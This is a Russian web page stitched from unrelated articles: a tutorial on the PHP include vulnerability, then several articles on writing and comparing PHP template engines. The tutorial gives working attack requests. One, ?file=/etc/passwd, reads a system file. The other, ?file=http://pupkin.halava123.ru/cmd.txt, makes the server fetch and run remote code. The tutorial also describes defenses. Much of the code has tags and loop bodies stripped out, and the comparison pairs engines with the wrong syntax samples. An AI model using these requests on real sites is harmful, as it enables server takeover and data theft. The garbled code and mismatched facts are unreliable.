Пишем свой шаблонизатор на php. Список шаблонизаторов для сравнения. Бизнес-логика и логика представления

В этой статье я расскажу вам об одной из самых распространённых уязвимостей, встречающихся в php-сценариях — include "баге". Вы узнаете как принцип действия, так и некоторые способы устранения данной уязвимости.

Внимание!!! Вся информация представленная в данной статье служит чисто в ознакомительных целях! Автор не несёт никакой ответственности за её злонамеренное применение!

Уязвимость php — include одна из самых известных, но между тем и самых распространённых "дыр" встречающихся сегодня в php сценариях. Она возникает, когда по невнимательности, незнанию, либо по какой-то другой ведомой только ему одному причине, программист позволяет использовать данные, переданные сценарию в виде параметров, без дополнительной проверки (такие данные ещё называют "мечеными") в качестве параметра функцией include. Для того, чтобы лучше разобраться в принципе действия данной уязвимости, необходимо иметь некоторое представление о вышеназванной функции.

php функция include, а также include_once

Данная функция используется для подключения к запущенному php сценарию дополнительных программных модулей. Причём, в отличие от похожей по свойствам require, функция include исполняет эти модули непосредственно в своём процессе. А следовательно, прикрепляемые таким образом модули будут исполняться не как отдельные сценарии, а как части подключившего их к себе сценария. Точнее, include будет исполнять только ту часть файла, которая заключена между спец. тэгами:

" "?>"

Всё остальное php просто выдаёт в виде текста. Т.е. если подключить текстовый файл (например: /etc/passwd 🙂) не содержащий указанных тэгов, всё содержимое этого файла будет выдано интерпретатором.

Пример вызова:

Как вы наверное заметили, функция include имеет всего 1 параметр ($file), который указывает путь и имя файла подключаемого модуля. Стоит отметить также, что в юниксоподобных системах (в зависимости от настроек php) в качестве параметра можно передавать не только путь и имя файла, но и url (Интернет адрес) файла(!!!).

Практика

Предположим, на некотором ВЕБ-сервере установлен следующий php сценарий (его url http://www.superpupersite.com/index.php):

А также множество различных подключаемых сценариев-модулей для него:

home.php
feedback.php

Автор этого сценария предполагал, что все посетители сайта будут мирно переходить от одной страницы к другой нажимая кнопочки, ссылочки и прочие объекты управления. А сценарий, в зависимости от переданного параметра file, будет присоединять один или другой модуль, таким образом генерируя различные html страницы (чаще всего include используют именно таким образом).

Примеры запросов:

http://www.superpupersite.com/index.php?file=home.php
http://www.superpupersite.com/index.php?file=feedback.php

Он даже представить себе не мог, что однажды (в студёную зимнюю пору) на сайт забредёт некий любознательный Вася Пупкин. Который, исходя из своей любознательности рассматривая эти самые ссылки, предположил бы (пока он ещё не знает, как и что там на самом деле), что параметр file является не чем иным, как имя и путь к файлу и что сценарий использует функцию include (не удивительно, т.к. на сегодня include используется чуть ли не в каждом 3-ем скрипте). Вася тут же решил проверить своё предположение следующим образом:

Сделал запрос вида: http://www.superpupersite.com/index.php?file=/etc/passwd
На выходе получил содержимое файла passwd сервера
П.С: Если на сервере в опциях php включен режим отладки, выявить подобную уязвимость не составляет особого труда по характерным сообщениям о ошибках (Вроде: "failed opening ‘filename’ for inclusion…"! Но в данном случае режим отладки был отключён (не всё коту масленица).

"Здорово! Вполне возможно что моё предположение по поводу include верно!"-подумал Вася. А также Вася заметил, что сервер работает под управлением юниксподобной операционной системы (там присутствует файл /etc/passwd). Из этого всего он сделал вывод, что возможно удастся внедрить свой php модуль, чтобы последний выполнялся на стороне сервера. Теперь, для осуществления своих зловещих планов, В.Пупкину необходим доступ позволяющий добавлять и редактировать файлы на каком-нибудь ВЕБ-сервере. К счастью, на сегодняшний день получить медленный, бесплатный хостинг не составляет особых проблем и у нашего героя уже был припасён на такие неожиданные 🙂 случаи жизни свой сайт http://pupkin.halava123.ru. Куда он предусмотрительно закачал сценарий следующего содержания:

Незатейливый, надо сказать, скрипт, выводящий в окно браузера список файлов и каталогов в текущей директории (но для проверки наличия уязвимости его хватит 🙂). Сценарий был размещён по адресу:

http://pupkin.halava123.ru/cmd.txt

Вася выполнил следующий запрос:

http://www.superpupersite.com/index.php?file=http://pupkin.halava123.ru/cmd.txt

И у него получилось! Как и задумывалось, в окне браузера он увидел список файлов и каталогов. Далее по нарастающей, "дыра" была обнаружена, и в ход пошли не менее интересные сценарии, подробное описание которых заняло бы немало места и по этим соображениям не публикуется здесь 🙂 В общем, долго ли, коротко ли, но закончилось всё дефейсом (дефейс — подмена начальной страницы на свою). Вот такая грустная история!

Борьба с вредителем

Прочитав всё вышеописанное, многие из вас задаются вопросом: "существуют ли методы борьбы с этой ужастной уязвимостью? ". "Да" — гордо отвечау я 🙂 . Вот некоторые (отнюдь не все) из них:

Самый простой способ, с точки зрения программирования, это преобразовать переменную $module в числовой формат (settype($module,”integer”)), но при этом придётся пронумеровать модули, а также собрать их в один каталог (“module1.php”, ”module2.php” …”module.php”).

Более сложный с точки зрения реализации метод борьбы с вредителями 🙂 — это создание отдельного файла-списка модулей, которые возможно запустить. И в зависимости, находится ли тот или иной модуль в списке, выполнять либо выдавать соответствующую ошибку (или запускать модуль по умолчанию или если Вы, хотите напугать «экспериментатора» выдать сообщение о том, что его адрес зафиксирован и чтоб он сушил сухари…).
Пример:

switch ($case) // $case - имя переменной передаваемой в параметре к скрипту { case news: include("news.php"); break; case articles: include("guestbook.php"); break; ... // и т.д. default: include("index.php"); // если в переменной $case не будет передано значение, которое учтено выше, то открывается главная страница break; }

Третий метод является промежуточным- что-то среднее между 1-ым и 2-ым. Вам просто надо заменить все служебные символы ("..","/","") например, на прочерки. Правда, модули (там должны располагаться только выполняемые модули и ничего кроме них!!!) в этом случае должны располагаться в одном каталоге, но их названия могут быть нормальными словами (например “news”, ”guestbook” и т.д.).
Заключение

Вот в общем-то и всё, что я хотел рассказать вам в этот раз. Вывод из этого всего может быть такой: прежде чем используете данные полученные от пользователя в ваших web сценариях подумайте, а не надо ли их предварительно проверить и надлежащим образом обработать. Это касается не только полей данных формы передаваемых браузером (методы get и post), но и cookie (злоумышленник может добраться и до них).

Хорошо Плохо

Эта статья предназначена для тех кто не относится скептически к написанию того что уже написано, в общем она для энтузиастов, каким я сам и являюсь.

Начнем с того, что определим что будет уметь наш шаблонизатор:

  • выделение из шаблона на блоков
  • обработка блоков
  • подстановка переменных

Блоки.

Блоки могут быть "циклические" и "не циклические". К первым отнесем блоки приразборе которых шаблонизатор выполнит цикл с определенными параметрами и вставит "внутренности" блока в результирующую страницу несколько раз. Они нам понадобятся массовой для публикации данных (например список заголовков новостей). Ко вторым отнесем условные конструкции (зачастую без них не обойтись).

Имена блоков будем хранить в массиве:

$Blocks=array (array("открывающий тег", "закрывающий тег",признак цикличного блока));

Чтобы было понятнее разберем пример.

есть таблица новостей:

Create table news (id int(10) unsigned NOT NULL auto_increment, title varchar(128), body text, ndate date, primary key (id));

нужно создать шаблон для вывода этих новостей и php скрипт обрабатывающий этот шаблон.

Договоримся - теги блоков и переменных будем заключать в HTML комментарии:

содержимое блока

теперь функция выделения блока или переменной:

Function ParseTmpl($Block) { global $Blocks; global $Vars; // Ищем блоки $Pos=0; while (($Pos=strpos($Block,""; if ($EndIndex=strpos($Block,$BlockEnd,$Pos)) { $EndIndex+=strlen($BlockEnd); $SubBlock=substr($Block,$Pos,$EndIndex-$Pos); $Block=substr($Block,0,$Pos). Block($SubBlock,$BlockId). substr($Block,$EndIndex); } } else { $Pos=strpos($Block,"-->",$Pos); } } //Выделяем переменные for ($i=0; $i",$BeginIndex)) { $Sub=substr($Block,$BeginIndex,$EndIndex-$BeginIndex+3); $Block=substr($Block,0,$BeginIndex). Variable($Sub,$i).substr($Block,$EndIndex+3); } } } return $Block; }

В качестве аргумента ей передается шаблон или его фрагмент (почему фрагмент? Потому что в нутри блока может быть еще один блок, то есть "внутренность" блока необходимо обработать отдельно). Далее она ищет вхождения строки ",$Offset); if (($Offset+4)!=$EndInd) { $S=substr($Block,$Offset+4,$EndInd-($Offset+4)); $Bl=explode(" ",$S); $BlockName=$Bl; for ($i=0; $i

Рассмотри работу функции Block($Block, $BlockId):

Function Block($Block, $BlockId) { global $Blocks; $Ret=""; // Получаем параметры $BeginStr=$Blocks[$BlockId]; $BeginLength=4+strlen($BeginStr); $EndOperatorPos=strpos($Block,"-->"); $Operator=substr($Block,$BeginLength,$EndOperatorPos-$BeginLength); $Args=explode(" ",trim($Operator)); $EndBlockPos=strpos($Block,""); $SubBlock=substr($Block,$EndOperatorPos+3,$EndBlockPos-$EndOperatorPos-3); if ($Blocks[$BlockId]) // блок не цикличный { if ($BeginStr($Args)) { $Ret.=ParseTmpl($SubBlock); } } else { while ($BeginStr($Args)) { $Ret.=ParseTmpl($SubBlock); } } return $Ret; }

Ей передаются фрагмент шаблона, содержащий рассматриваемый блок, и индекс блока в массиве $Blocks. Для начала в ней мы разбираем строку открывающего тега, на предмет параметров (это на всякий случай, а вдруг Вам необходимо вывести не все новости а какое-то количество). То есть если блок новостей начинается со строки:

Где 5 - количество выводимых новостей.

Мы должны иметь возможность выделить именно определенное количество новостей. Далее выделяется "внутренность" блока в переменню $SubBlock, для дальнейшего парсирования. Далее в зависимости от результатов проверки на цикличность блока вызываем уже знакомую нам функцию ParseTmpl, либо при выполнении условия, либо в цикле до не выполнения условия. Условием является не нулевой результат выполнения функции одноименной с блоком.

Для каждого циклического блока необходимо создать функцию которая бы возвращала 0 или не 0 в зависимости от того нужно ли повторять разбор блока. Это может быть функция которая будет при каждом вызове выбирать очередную порцию данных из таблицы новостей и возвращать 1 если например количество выбранных новостей не больше количества вереданного ей в качестве одного из элементов массива аргументов блока.

Переменные.

Переменные будем хранить в массиве

$Vars=array("имя переменной");

Так же как и в случае с блоками создадим одноименные функции которые бы возвращали значения этих переменных (брали их, например, из базы данных). Вот участок функции ParseTmpl выделяющий переменные из шаблона и подставляющий их значения:

For ($i=0; $i",$BeginIndex)) { $Sub=substr($Block,$BeginIndex,$EndIndex-$BeginIndex+3); $Block=substr($Block,0,$BeginIndex). Variable($Sub,$i).substr($Block,$EndIndex+3); } } }

И функция Variable:

Function Variable($Block, $VarId) { global $Vars; $Ret=""; // Получаем параметры $BeginStr=$Vars[$VarId]; $BeginLength=4+strlen($BeginStr); $EndOperatorPos=strpos($Block,"-->"); $Operator=substr($Block,$BeginLength,$EndOperatorPos-$BeginLength); $Args=explode(" ",trim($Operator)); return $BeginStr($Args); }

Она похожа на функцию Block, но значительно проще.

Пример шаблона и функции блоков и переменных.

Шаблон вывода наших новостей:

[]

А вот код для работы с блоками и переменными:

$QueryResult_News=0; $QueryRow_News=0; function news($Args) // Блок news { global $QueryResult_News; global $QueryRow_News; $Active=$Args; if ($QueryResult_News==0) { $QueryResult_News=mysql_query("select * from news by ndate desc limit $Active"); } if ($QueryRow_News=mysql_fetch_array($QueryResult_News)) { return 1; } else { $QueryResult_News=0; return 0; } } function ndate($Args) // переменная ndate { global $QueryRow_News; if (isset($QueryRow_News["ndate"])) { return implode(".",array_reverse(explode("-",$QueryRow_News["ndate"],3))); } else { return ""; } } function ntitle($Args) // переменная ntitle { global $QueryRow_News; if (isset($QueryRow_News["title"])) { return $QueryRow_News["title"]; } else { return ""; } } function nbody($Args) // переменная nbody { global $QueryRow_News; if (isset($QueryRow_News["body"])) { return $QueryRow_News["body"]; } else { return ""; } }

Массивы $Blocks и $Vars:

$Blocks=array(array("news","news",0)) $Vars=array("ndate","ntitle","nbody");

Ну вот и все простой шаблонизатор готов, все что я хотел сделал, Вам же теперь его модернизировать и усовершенствовать до тех пор пока он не станет удовлетворять всем Вашим ожиданиям:)

Удачи, искренне Ваш elrevin.

И все им подобные, причина - мне кажется, что шаблонизатор должен избавлять от использования логики в шаблонах, а не навязывать свой синтаксис для той же логики.
Иначе говоря, такой: , или такой

  1. { foreach name = my from = array("One" ,"Two" ,"Three" ) key = "i" item = "text" }
подходы для меня абсолютно неприемлимы!
Пожалуй, из всех шаблонизаторов больше всех удовлетворяет моим требованиям xtemplate, но у него есть целый ряд недостатков которые меня раздражают, например то, что все страницы нужно обрамлять в блоки, или то, что он интерпретирует шаблоны, а не компилирует, благодаря чему скоростью похвастаться не может. Ну и последнее - я решил написать шаблонизатор так, чтобы не было никаких проблем с добавлением функционала, а также, чтобы он был совместим с нативным шаблонизатором, который я использовал до этого, и к которому привык. Дело в том что конструкция
  1. $tpl -> assigned_var = "abc" ;
которую часто используют нативные шаблонизаторы, мне нравится гораздо больше чем что-нибудь вроде:
  1. $thl -> assign ("assigned_var" , "abc" ) ;
В один прекрасный момент я понял, что проще написать свой шаблонизатор, чем искать тот, который мне подойдет. И, думаю, оказался прав, ведь дело обошлось несколькими вечерами.
Вообще говоря, процесс мне показался довольно интересным, и появилось много моментов, которые хотелось бы обсудить с сообществом.

Начну с описания синтаксиса:

1) Переменные:

Тут всё как обычно, разве что никаких "{$"
Бизнес логика Шаблон
  1. $tpl -> var_name = "..." ;
  1. { var_name}
  1. $tpl -> var_name [ "sub_var" ] = "..." ;
  1. { var_name.sub_var }

2) Блоки:

Нужны они, чтобы избавиться от конструкций типа {foreach name=my from=array ("One","Two","Three") key=«i» item=»text"}
Наподобие xtpl, вот только слегка автоматизировано, а именно, чтобы распарсить блок (еще говорят растиражировать), достаточно просто передать шаблону массив с данными!
Бизнес логика Шаблон
  1. $tpl -> block_name [ "num" ] = "4" ;
  2. $tpl -> block_name [ "num" ] = "8" ;
  3. $tpl -> block_name [ "num" ] = "15" ;
  1. { block_name.num }
  1. $tpl -> words [ "block" ] = array (
  2. O=> array("word" => "A" ) ,
  3. 1 => array("word" => "B" ) ,
  4. 2 => array("word" => "C" ) ,
  1. { words.block .word }
Чтобы вывести переменную блока внутри - нужно назвать её {имя_блока.имя_переменной}
Это позволяет обращаться как к переменным блока, так и ко внешним переменным изнутри
Блок может быть абсолютно любой переменной, например, на втором примере блок строится по элементу «block» массива «words»
Так же блок может быть внутри другого блока, вот, например, простой способ построить таблицу умножения:
Бизнес логика Шаблон
  1. for ($i = 1 ; $i < 10 ; $i ++ )
  2. for ($j = 1 ; $j < 10 ; $j ++ )
  3. $tpl ->
  1. { table.row .num }

3) Проверки:

По сути, разновидность блоков. Нужна она, чтобы на основе какой-нибудь переменной либо показывать то что внутри, либо нет. Понятнее станет на примере:
Бизнес логика Шаблон
  1. $tpl -> f_text = true ;
  1. Пока f_text==true мы будем видеть этот текст
  1. $tpl -> f_text = false ;
  1. Тут можно писать что угодно, потому что заказчик не увидит

4) Функции:

Это скорее экспериментальная фича, хотелось бы услышать мнение, имеет ли право на жизнь такой подход: Обращаю внимание, что функции следует добавлять именно в класс шаблонизатора.
На данный момент функции работают только с одним параметром, и я думаю как следует расширить количество параметров - так: , или так: или как-то ещё. Пока склоняюсь к первому варианту, его проще реализовать!

Теперь о принципах:

Шаблонизатор я решил разделить на две части:

1) Сам шаблонизатор (максимально компактный, всё самое нужное)
2) Компилятор (а вот тут вот всё остальное)
Это необходимо для повышения производительности, ведь не имеет никакого смысла в 8 кб кода компилятора, если шаблон уже скомпилирован и с тех пор не менялся.

Много подумать заставил процесс инклуда внутри шаблонов:

На первый взгляд, момент может показаться пустяковым, но это не так. Вообще говоря, инклуды пришлось разделить на две части - статические и динамические. Статический инклуд - это обычный инклуд, например Такой инклуд обработается следующим образом - на его места вставится код из some_page.html, время изменения у файла откомпилированного шаблона будет на 1 секунду больше чем у самого шаблона, и из этого шаблонизатор узнает что нужно подключить специальный, также созданный компилятором файл, в который будет добавлена следующая строчка:
  1. if (filemtime ("./some_page.html" ) != 1237369507 ) $needCompile = true ;
Таким образом, при изменении этого файла - весь шаблон будет перекомпилирован.
Зачем это нужно, почему не вставить просто инклуд? А что если потребуется выводить блок из 1000 строк, внутри которого для удобства будет вставлен инклуд? Тогда такой фокус очень существенно поможет производительности!
Теперь о другом типе инклудов - динамические. Выглядит это чудо в моём шаблонизаторе например вот так: То есть мы инклудим не какой-нибудь заранее указанный файл, а берём его имя или часть имени из переменной! Иногда может быть очень удобно, но старый способ при таком подходе уже не прокатит, ведь нужно чтобы при изменении в бизнес логике переменной, инклудился уже другой файл, поэтому такая конструкция откомпилируется в следующий код:
  1. render ("" . $this -> page_name . ".html" ) ; ?>
Замечу что на данный момент такой инклуд не будет работать внутри блока, то есть работать будет, но внутри подключённого файла переменные блока будут недоступны, но думаю это не очень страшно, ведь у меня в отличие от xtpl блоки нужны только для циклического вывода какого-нибудь массива.

Php код внутри:

Можно спокойно использовать, и хорошо подумал, но решил не запрещать php код в шаблонах.
Понимаю, вызовет много споров, но считаю что нет смысла запрещать php, так как не сталкивался с такими ситуациями, когда это имеет смысл, а не доставляет неудобства в некоторых ситуациях.

Ну и, наконец, какими принципами я руководствовался решая, какой будет синтаксис:

1) Минимум логики, всю логику - бизнес логике
2) Всё как можно естественнее
3) Меньше кода
4) Максимум возможностей

Код самого шаблонизатора:

  1. class tpl {
  2. function tpl($tplDir , $tmpDir ) {
  3. $this -> tplDir = $tplDir ;
  4. $this -> tmpDir = $tmpDir ;
  5. function Render($Path ) {
  6. $tmpName = "tpl_" . str_replace (array ("/" , "\\ " ) , "." , $Path ) . ".php" ;
  7. $tmpPath = $this -> tmpDir . "/" . $tmpName ;
  8. if (file_exists ($tmpPath ) )
  9. $tmpChange = filemtime ($tmpPath ) ;
  10. $tplChange = filemtime ($Path ) ;
  11. if ($tplChange + 1 == $tmpChange ) include ($tmpPath . ".coll.php" ) ;
  12. elseif ($tplChange != $tmpChange ) $needCompile = true ;
  13. if ($needCompile ) {
  14. # Вызов компилятора
  15. include_once "tcompiler.class.php" ;
  16. $compiler = new tcompiler($this , $this -> tmpDir ) ;
  17. $compiler -> compile ($this -> tplDir . "/" . $Path , $tmpPath ) ;
  18. include $tmpPath ;

Как видите, не густо, зато быстро!
На первый взгляд может показаться что такая автозамена:
  1. $tplName = "tpl_" . str_replace (array ("/" , "\\" ) , "." , $path ) . ".php" ;
Работает довольно долго и лучше использовать хэш, но я протестировал, хэш работает дольше.

Сравнение кода:

Решил в удобном виде привести листинги кода в разных шаблонизаторах делающих одно и тоже, чтобы можно быро сравнить читаемость и удобство подходов
Мой
  1. $tpl -> num = 4815162342 ;
  2. $tpl -> post [ "page" ] [ "id" ] = 316 ;
  3. for ($i = 1 ; $i < 30 ; $i ++ ) $tpl -> bin = array ("dec" => $i , "bin" => decbin($i ) ) ;
  4. for ($i = 1 ; $i < 10 ; $i ++ ) for ($j = 1 ; $j < 10 ; $j ++ ) $tpl -> table [ $i ] [ "row" ] [ $j ] [ "num" ] = $i * $j ;
Smarty/Quicky
  1. $smarty ->
  2. $smarty -> assign ("post" , array ("page" => array("id" => 316 ) ) ) ;
  3. for ($i = 1 ; $i < 30 ; $i ++ ) $bin = array ("dec" => $i , "bin" => decbin($i ) ) ;
  4. $smarty -> assign ("bin" , $bin ) ;
  5. for ($i = 1 ; $i < 10 ; $i ++ ) for ($j = 1 ; $j < 10 ; $j ++ ) $table [ $i ] [ "row" ] [ $j ] [ "num" ] = $i * $j ;
  6. $smarty -> assign ("table" , $table ) ;
Xtemplate
  1. $xtpl -> assign ("num" , 4815162342 ) ;
  2. $post [ "page" ] [ "id" ] = 316 ;
  3. $xtpl -> assign ("post" , $post ) ;
  4. for ($i = 1 ; $i < 30 ; $i ++ ) $xtpl -> insert_loop ("page.bin" , array ("dec" => $i , "bin" => decbin($i ) ) ) ;
  5. for ($i = 1 ; $i < 10 ; $i ++ ) {
  6. for ($j = 1 ; $j < 10 ; $j ++ ) $xtpl -> insert_loop ("page.table.row" , "rownum" , $i * $j ) ;
  7. $xtpl -> parse ("page.table" ) ;

Подключение:

Подключается шаблонизатор следующим образом:
  1. require_once "путь_до_шаблонизатоора/tpl.class.php" ;
  2. $tpl = new tpl("путь_к_папке_с_шаблонами" , "путь_к_папке_с_кешем" ) ;
Не забудьте дать права папке с кешем!

Скачать:

Пока шаблонизатор лежит вот тут скачать , пока это только Бета -версия, поэтому не стоит тестить на серьёзных проектах, я лишь хотел выслушать замечания, и идеи на эту тему!
Если эксперемент удасться и подобный гибрид нативного и обычного шаблонизатора будет кому-то нужен, обязательно, буду его развивать. Кстати скорее всего он будет называться «LL».
По поводу багов просьба отписываться на oleg<собака>emby.ru

Заключение:

В заключение не буду делать громких заявлений, вроде «В отдельных случаях данный шаблонизатор быстрее php native». Все мы понимаем, что в отдельных случаях трактор «Беларусь» может оказаться быстрее новенькой Porshe Panamera , в любом случае шаблонизатор будет медленнее, хотябы потому что ему нужно сравнивать даты изменения шаблона и его откомпилированной версии, а это два лишних обращения к ФС. Касатемо оптимизаций, никто не мешает оптимизировать и нативный код.
Разумеется, как и все шаблонизаторы, мой работает медленнее нативного php, но на самую малость, в доказательство привожу результаты тестов:

Все тесты проводил по несколько раз, дабы убедиться, что НЛО не повлияло на результаты. Если что выложил их сюда .

Теги:

  • шаблонизатор
  • smarty
  • quicky
  • template engine
Добавить метки
Ведь, если звезды зажигают -
значит - это кому-нибудь нужно?
Владимир Маяковский

Введение

Несмотря на то, что PHP уже сам по себе в какой-то степени шаблонизатор, существует достаточно других шаблонизаторов, которые появились не просто так. В этой статье я сравню между собой популярные шаблонизаторы на PHP.

Зачем нужны шаблонизаторы?

Чем сложнее приложение, тем важнее разделять логику и представление. Только в случае успешного разделения логики от представления backend-разработчики смогут эффективно сотрудничать с frontend-разработчиками. Благодаря шаблонизаторам frontend-разработчики (или в простонародье - верстальщики) могут изменять внешний вид web-приложения, используя понятный синтаксис выбранного шаблонизатора. Обычно шаблоны представляют собой небольшие куски HTML-кода, в которые встроен вывод переменных, подготовленных backend-разработчиком.

{$menutitle}

Иногда фронт вообще написан на JavaScript, а общение с бэком происходит посредством API, но это совсем другая история.

Список шаблонизаторов для сравнения

К шаблонизаторам применялись следующие критерии: они должны быть написаны на PHP, активно поддерживаться и быть признанными сообществом PHP.

Blade

Этот шаблонизатор используется в Laravel - PHP-фреймворке, начавшем свою жизнь в 2011 г и ставшим одним из популярных PHP-фреймворков. По слухам, причиной скорости Blade является небольшой список регулярных выражений для замены.

Hello {{name}} You have just won {{value}} dollars! {{#in_ca}} Well, {{taxed_value}} dollars, after taxes. {{/in_ca}}

Smarty

Smarty появился в начала нулевых, до сих пор развивается и конкурирует с более молодыми проектами.

{{ foo }} {# comment #} {% if foo %}{% endif %}

Volt

Volt используется в фреймворке Phalcon (фреймворк, написанный на C и распространяемый как PHP-расширение). Из недостатков можно отметить лишь то, что Volt можно использовать только в Phalcon, то есть нет возможности использовать в проекте на другом фреймворке.

Подписчики Звёздочки Форки
752 9 460 1 734
{# app/views/products/show.volt #} {% block last_products %} {% for product in products %} * Name: {{ product.name|e }} {% if product.status === "Active" %} Price: {{ product.price + product.taxes/100 }} {% endif %} {% endfor %} {% endblock %}

Как выбрать шаблонизатор?

При выборе шаблонизатора нужно учитывать следующие факторы: синтаксис, логика, расширяемость, документация, активность разработки, поддержка сообщества и производительность.

Blade

Синтаксис и функциональность

Blade поддерживает наследование шаблонов, секции, безопасный ввод содержимого и простой синтаксис. Blade разрешает использование PHP внутри шаблонов.

Документация и поддержка

Blade отлично документирован, но документация носит характер обзоров, в то время как более детальная информация содержится на сторонних ресурсах.

Производительность

Во время теста скорость достигала 100 000 шаблонов в секунду. Но если учитывать обработку шаблонов вместе с загрузкой фреймворка, то скорость около 2 200 шаблонов в секунду.

Mustache

Синтаксис и функциональность

Шаблоны Mustache не могут содержать логику, поэтому backend-разработчикам приходится реализовывать излишнюю логику, связанную с представлением.

Документация и поддержка

Ввиду ограниченных возможностей Mustache не требуется большой и подробной документации.

Производительность

Mustache, по очевидным причинам, оказался очень быстрым (6,000 шаблонов в секунду).

Smarty

Синтаксис и функциональность

Синтаксис лаконичен и прост для восприятия. Функционал большой и расширяемый.

Документация и поддержка

Документация у Smarty хорошо организована. Сайт выглядит немного устаревшим, но это является проблемой.

Производительность

Smarty довольно быстро обрабатывает некэшируемые шаблоны (9 634 шаблонов в секунду) and ещё быстрее - кэшируемые (57 115 шаблонов в секунду).

Twig

Синтаксис и функциональность

Twig поставляется с полным набором функций, фильтров, тестов и расширяемых макросов.

Документация и поддержка

Документация отлично организована, информативна и содержит наглядную информацию. Сообщество вокруг Twig большое, ведётся активная разработка на GitHub. Twig используется в Drupal 8, второй по популярности CMS.

Производительность

Обработка некэшируемых шаблонов происходит со скоростью 4 318 шаблонов в секунду, а кэшированных - 5 982.

Volt

Синтаксис и функциональность

Volt очень похож на Twig. В нём доступен функционал для создания собственных фильтров, макросов и расширений движка.

Документация и поддержка

Документация чистая, информативная и наглядная. Разработка Volt, как и Phalcon, идёт на GitHub полным ходом.

Производительность

Ввиду того, что фреймворк написан на C, Volt обрабатывает 23 900 шаблонов в секунду и вдвое больше при включении кэширования.

Выводы

Наиболее оптимальным вариантом является Twig. Потому что шаблонизатор не зависит от фреймворка, запускается очень быстро, содержит достаточно функционала, имеет отличную документацию и активно развивается.

В качестве бонуса замечу, что синтаксис идентичен синтаксису Volt.

Меня многократно просили дать код шаблонизатора на PHP , которым я пользуюсь. Но прежде чем перейти к этому коду, давайте немного расскажу о наиболее популярном шаблонизаторе - Smarty . Сразу скажу, что я всегда был против всех этих чужих и огромных библиотек. Но Smarty я стерпел и некоторое время использовал, а потом я подумал: "А зачем мне нужна эта помойка, если от шаблонизатора мне нужен минимум функциональности? ".

Действительно, а что вообще нужно от шаблонизатора? От него нужно лишь подставлять в нужные места tpl-файлов определённые переменные из PHP . Все говорят, что PHP-код в tpl-файлах - это плохо . А чем лучше Smarty-код в tpl-файлах ? Да абсолютно ничем, и это даже хуже, поскольку этот Smarty-код потом преобразуется в PHP-код и выполняется .

Smarty уже так сильно разошёлся, что стал вообще отдельным языком со своим синтаксисом, со своими циклами и условиями. Разве это требуется от шаблонизатора?

Задача шаблонизатора - только подставлять определённые значения в определённые места , а все циклы я могу написать и на PHP , и промежуточный язык для этого не требуется.

Итак, привожу код своего шаблонизатора, которым я настоятельно рекомендую Вам пользоваться:

class Template {

Private $dir_tmpl; // Директория с tpl-файлами
private $data = array(); // Данные для вывода

Public function __construct($dir_tmpl) {
$this->dir_tmpl = $dir_tmpl;
}

/* Метод для добавления новых значений в данные для вывода */
public function set($name, $value) {
$this->data[$name] = $value;
}

/* Метод для удаления значений из данных для вывода */
public function delete($name) {
unset($this->data[$name]);
}

/* При обращении, например, к $this->title будет выводиться $this->data["title"] */
public function __get($name) {
if (isset($this->data[$name])) return $this->data[$name];
return "";
}

/* Вывод tpl-файла, в который подставляются все данные для вывода */
public function display($template) {
$template = $this->dir_tmpl.$template.".tpl";
ob_start();
include ($template);
echo ob_get_clean();
}
}

Всего 1 файл размером 0.5 КБ , вместо больше 100 файлов и примерно 1 МБ 2000 раз больше ). Но при этом всё самое важное данный класс сделает.

Теперь создадим tpl-файл (пусть называется menu.tpl ), который будет без проблем обработан этим шаблонизатором:


    menu as $link => $name) { ?>

  • ">


И, наконец, давайте напишем PHP-файл , который будет вызывать шаблонизатор:

$template = new Template("tmpl/");
$menu = array();
$menu["http://site.ru"] = "Главная";
$menu["http://site.ru/page-1.html"] = "Страница 1";
$menu["http://site.ru/page-2.html"] = "Страница 2";
$template->set("menu", $menu);
$template->display("menu");
?>

Если бы мы использовали Smarty, то у нас было бы всё ровно так же, но в tpl-файле мы бы написали код Smarty , который потом бы заменялся на PHP и выполнялся. А мы же сразу написали этот PHP-код . И какой смысл учить отдельный язык, который будет лишь тормозить работу, а также требует наличие огромной библиотеки?

Надеюсь, данная статья Вам покажет, что не нужно гнаться за бессмысленной функциональностью Smarty . Всё это в гораздо большем объёме есть в PHP , а задача шаблонизатора всего лишь одна - подставлять в tpl-файлы значения, полученные из PHP . Всё.